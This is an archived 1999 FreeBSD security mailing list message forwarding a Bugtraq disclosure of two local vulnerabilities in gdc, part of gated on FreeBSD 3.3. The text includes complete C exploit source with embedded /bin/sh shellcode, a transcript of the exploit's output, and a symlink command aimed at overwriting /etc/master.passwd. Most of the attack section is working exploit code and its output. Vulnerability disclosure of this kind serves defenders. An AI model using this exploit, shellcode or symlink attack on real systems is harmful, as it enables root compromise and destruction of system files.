Skip site navigation (1)Skip section navigation (2)
Date:      Wed, 1 Dec 1999 11:24:43 -0500 (EST)
From:      Bill Fumerola <billf@chc-chimes.com>
To:        freebsd-security@freebsd.org
Cc:        freebsd-ports@FreeBSD.org
Subject:   FreeBSD 3.3 gated-3.1.5 local exploit (fwd)
Message-ID:  <Pine.BSF.4.10.9912011124010.79469-100000@jade.chc-chimes.com>

next in thread | raw e-mail | index | archive | help
Tada.

--=20
- bill fumerola - billf@chc-chimes.com - BF1560 - computer horizons corp -
- ph:(800) 252-2421 - bfumerol@computerhorizons.com - billf@FreeBSD.org  -




---------- Forwarded message ----------
Date: Tue, 30 Nov 1999 15:31:06 MST
From: Brock Tellier <btellier@USA.NET>
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: FreeBSD 3.3 gated-3.1.5 local exploit

Greetings,

OVERVIEW
Vulnerabilities exist in gdc in (at least) FreeBSD 3.3-RELEASE which will
allow certian users to gain root privs and overwrite system files.

BACKGROUND
My tests were done ONLY on FreeBSD 3.3-RELEASE with the gated-3.5.11=20
included on the installation CD.  By default on FreeBSD (when installed
at initial install by /stand/sysinstall), gdc is given permissions as
shown:
-rwsr-x---  1 root  wheel  23832 Sep 10 23:21 /usr/local/bin/gdc
Thus only users in the group 'wheel' may run gdc. =20

DETAILS

  Vuln #1

/usr/local/bin/gdc contains a buffer overflow that may ONLY be exploited=20
by the group 'wheel'.  According to the man page the default group is
"gdmaint", but it was not installed this way by default on my system, nor
were any instructions given to make a gdmaint group.  The overflow comes
when gdc is supplied a large -t time option on the command line.  Some may
scoff at this particular hole, claiming that if you've let a malicious
user have/gain wheel privs, things have already gone past the point of no=
=20
return. These people are probably right, but in any case, it's worth
noting.

  Vuln #2

/usr/local/bin/gdc allows debugging output to be written to a file in=20
/var/tmp which follows symlinks.  This vulnerability can be exploited
to overwrite root-owned system files (more of a DoS, since it doesn't
change the destination file's perms) regardless of the user who ran gdc.
Once again, a normal user without wheel or similar gid cannot run gdc.
However a normal user may create the symlinks that a wheel group user's
gdc will follow.

EXPLOITS
buffer overflow as part of the wheel group:
$ gcc -o gdcx gdcx.c
$ ls -la `which gdc`
-rwsr-x---  1 root  wheel  23832 Sep 10 23:21 /usr/local/bin/gdc
$ id
uid=3D1000(xnec) gid=3D1000(xnec) groups=3D1000(xnec), 0(wheel)
$ ./gdcx
gdc exploit for FreeBSD 3.3-RELEASE <btellier@usa.net>
eip=3D0xbfbfdb65 offset=3D0 buflen=3D4093
NOPs to 937
Shellcode to 1004
eip to 1008
gdc: invalid wait time:
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=90=
=90=90=90=90=90=90=90=90=90=90=90=90=EB5^Y3=C0=89F=F5=83=C8f=89F=F9=8D-=89^
3=D2R=89V=89V =8DF
P=8D P=B8{V4 5@V4 Q=9A>:)(:<=E8=C6=FF=FF=FF/bin/she=DB=BF=BF
#=20

---- gdcx.c ----
/*=20
 * gdc exploit for Freebsd-3.3 yields euid=3D0(root)
 * by default, only group wheel (or whatever your trusted gated group is)
 * and root can run gdc
 * Brock Tellier btellier@usa.net
 */


#include <stdio.h>

char shell[]=3D /* mudge@l0pht.com */
  "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
   "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
   "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
   "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";


main (int argc, char *argv[] ) {
 int x =3D 0;
 int y =3D 0;
 int offset =3D 0;
 int bsize =3D 4093;
 char buf[bsize];
 int eip =3D 0xbfbfdb65; /* works for me */

 if (argv[1]) {=20
   offset =3D atoi(argv[1]);
   eip =3D eip + offset;
 }
 fprintf(stderr, "gdc exploit for FreeBSD 3.3-RELEASE <btellier@usa.net>\n"=
);
 fprintf(stderr, "eip=3D0x%x offset=3D%d buflen=3D%d\n", eip, offset, bsize=
);
=20
 for ( x =3D 0; x < 937; x++) buf[x] =3D 0x90;
     fprintf(stderr, "NOPs to %d\n", x);
=20
 for ( y =3D 0; y < 67 ; x++, y++) buf[x] =3D shell[y];
     fprintf(stderr, "Shellcode to %d\n",x);
 =20
  buf[x++] =3D  eip & 0x000000ff;
  buf[x++] =3D (eip & 0x0000ff00) >> 8;
  buf[x++] =3D (eip & 0x00ff0000) >> 16;
  buf[x++] =3D (eip & 0xff000000) >> 24;
     fprintf(stderr, "eip to %d\n",x);

 buf[bsize - 1]=3D'\0';

 execl("/usr/local/bin/gdc", "gdc", "-t", buf, NULL);

}
---------

for symlink vulnerability:

ln -s /etc/master.passwd /var/tmp/gated_dump
(wait for priv'd user to run /usr/local/bin/gdc dump)

Brock Tellier
UNIX Systems Administrator
Chicago, IL, USA


____________________________________________________________________
Get free email and a permanent address at http://www.netaddress.com/?N=3D1




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message




Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?Pine.BSF.4.10.9912011124010.79469-100000>